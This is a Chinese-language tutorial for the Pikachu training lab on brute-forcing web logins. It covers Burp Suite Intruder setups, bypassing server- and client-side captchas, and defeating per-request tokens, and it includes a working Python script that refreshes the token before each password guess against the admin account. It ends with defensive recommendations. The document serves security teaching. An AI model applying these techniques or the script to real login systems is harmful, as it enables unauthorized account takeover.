Pikachu靶场-暴力破解
字数 1145 2025-08-24 20:49:22
Pikachu靶场暴力破解漏洞教学文档
1. 暴力破解概述
暴力破解(Brute Force)是一种常见的攻击手段,通过对应用系统的认证接口尝试大量认证信息直到获取正确凭证。
关键特征:
- 使用自动化工具配合字典进行高效尝试
- 理论上所有系统都可能被暴力破解,取决于攻击者的计算资源和时间
- 存在暴力破解漏洞的系统通常缺乏足够的安全策略
认证安全策略要点:
- 强制复杂密码策略
- 使用安全验证码或手机OTP
- 实施登录尝试限制(如连续错误后锁定)
- 采用双因素认证
2. 基于表单的暴力破解
攻击步骤:
- 进入靶场,随意输入账号密码并抓取登录请求
- 将请求发送到Burp Suite的Intruder模块
- 设置密码字段为变量
- 导入密码字典文件
- 配置适当线程数
- 开始爆破
- 分析结果,通过响应包长度或内容差异识别成功登录
3. 验证码绕过(on server)
漏洞特征:
- 验证码由服务端生成并发送到客户端
- 验证码可重复使用(未实现一次性验证)
攻击方法:
- 抓取包含验证码的登录请求
- 在Repeater中测试验证码是否可复用
- 确认可复用后直接进行爆破
- 关键注意:不要在拦截状态下刷新页面,否则服务端会刷新验证码导致爆破失败
4. 验证码绕过(on client)
漏洞特征:
- 验证码完全由前端生成和验证
- 无后端验证机制
三种攻击方法:
方法一:删除验证码参数
- 抓取登录请求
- 直接删除验证码参数
- 发送到Intruder进行爆破
方法二:禁用JavaScript
- 在浏览器中禁用JS执行
- 刷新页面使验证码消失
- 进行常规爆破
方法三:单次正确验证码捕获
- 正确填写一次验证码并抓包
- 使用该请求进行爆破(验证码参数保持不变)
5. Token防爆破机制绕过
漏洞特征:
- 每次请求包含动态变化的token值
- 传统爆破方法会因token失效而失败
方法一:使用Burp Suite的Pitchfork模式
攻击步骤:
- 抓取登录请求,观察token参数
- 选择Pitchfork攻击类型
- 设置密码和token两个变量
- 将线程数降为1(因token单次有效)
- 使用Grep-Extract从响应中提取新token
- 配置payload:
- 密码变量:使用字典文件
- token变量:使用递归搜索(Recursive grep)
- 启用"always"选项确保每次请求更新token
方法二:Python脚本自动化
import requests
from bs4 import BeautifulSoup
s = requests.session()
password = ['123', '456', '123456', '67899'] # 密码字典
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0'
}
# 获取初始token
req = s.get('http://x.x.x.x/vul/burteforce/bf_token.php#')
token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')
for pa in password:
# 发送带token的登录请求
req = s.post(
url='http://x.x.x.x/vul/burteforce/bf_token.php#',
data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'}
)
if 'success' in req.text:
print("爆破成功,用户名:admin,密码为: %s" % pa)
break
else:
# 获取新token继续尝试
req = s.get('http://x.x.x.x/vul/burteforce/bf_token.php#')
token = BeautifulSoup(req.text, 'lxml').find('input', {'name': 'token'}).get('value')
脚本关键点:
- 使用session保持会话
- 每次请求前获取最新token
- 通过响应内容判断是否爆破成功
- 实现token的自动更新机制
防御建议
- 实施账户锁定策略(连续失败后临时锁定)
- 使用强验证码(一次性、图形变形等)
- 限制单位时间内的登录尝试次数
- 采用多因素认证
- 对敏感操作实施IP限制
- 使用安全的token生成和验证机制